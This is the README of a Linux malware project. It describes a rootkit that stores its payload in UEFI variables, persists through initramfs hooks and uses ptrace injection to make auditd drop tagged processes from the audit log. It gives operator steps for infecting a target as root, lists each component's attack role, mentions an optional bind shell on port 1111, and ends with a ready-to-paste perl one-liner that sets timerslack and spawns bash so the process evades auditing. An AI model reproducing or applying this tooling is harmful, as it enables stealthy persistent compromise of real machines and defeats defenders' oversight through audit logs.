LinooxMalware

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# WTF

A sample of hiding a payload in UEFI vars that persists in initramfs
and then injects into auditd to make malicious processes invisible.

# How to Play
1. on attacker machine
   1. `make`
   1. copy `splat` to target

1. on target
   1. run `splat` as root
   1. reboot target
   1. use `timerslack.pl` to set your timerslack and become invisible to auditd

# Moving Parts

## ORDER/order.h - ORDER for hooks

ORDER is a file in initramfs that specifies order of hooks, but in
this case, runs stage1

## splat - Infection Utility

Run to infect system. Everything needed for infection is included:
  * stage1
  * stage2
    * payload

## injected.so - Injected Dyanmic Library Payload to auditd

Clobbers the fprintf symbol and keeps your tagged processes out of the
audit log.

## payload.asm - Shellcode Injected into auditd

1. Fixup registers due to internal libc dlopen required 16byte aligned
   stack entry.
1. call glibc's `__libc_dlopen_mode`
1. jmp back to return value

## stage2d - Daemon Spawned in initramfs

The executable stage2.

1. survive MS_MOVE in initramfs
1. fanotify on systemd-sysctl
1. ptrace inject into autid
1. host injected.so in memfd
1. coerce auditd to dlopen() injected.so in memfd
1. exit

## stage1

Takes stage2 out of UEFI var, uncompresses, jams it into memfd, and
execs stage2

## stage2

Gzipped stage2d executable

## loader.c - Loader Contained in Stage2d to Inject into auditd

This code uses code adapted from
https://github.com/eklitzke/ptrace-call-userspace, a fantastic bit of
code from Evan Klitzke used under the ISC license.

1. ptrace `auditd`
1. coerce `auitd` to call `memfd_create`
1. find `__libc_dlopen_mode`
1. write `injected.so` into `auditd`'s memfd
1. coerce `auditd` to call `mmap`
1. write `payload` into page returned from mmap
1. set `rip` to point to shellcode
1. release process

## libptrace_do.[ch]

Fantastic lib from @emptymonkey. https://github.com/emptymonkey/ptrace_do

Used under terms in MIT license

## busybox.h - a Literal Copy of Static busybox

Used in debugging to get a shell in the initramfs.  You will need to
have installed `busyboxy-static` package. Enable by defining
`EMBED_SHELL` to 1 and get a local bind shell on port 1111.  Note that
it will no longer fit into a UEFI variable because busyboxy is
gigantic. Use `make install` and `debug_utils/install.sh` infect.

## z.[ch] - Simple Wrapper Around zlib

Just a simple convenience function around zlib

## timerslack.pl - Perl Script to Set Your timerslack

Simple wrapper around the `prtcl(PR_SET_TIMERSLACK)`. Scoff all you
want, but chances are, `perl` is there when you land.

Get an operator friendly version like so:

```
echo "use the following:"
echo -n "echo '"
cat timerslack.pl|tr -d '\n'
echo "'|perl"
```

Which produces:

```
use the following:
echo 'require("syscall.ph");syscall(&SYS_prctl,29,50001);exec("/bin/bash");'|perl
```

LinooxMalware

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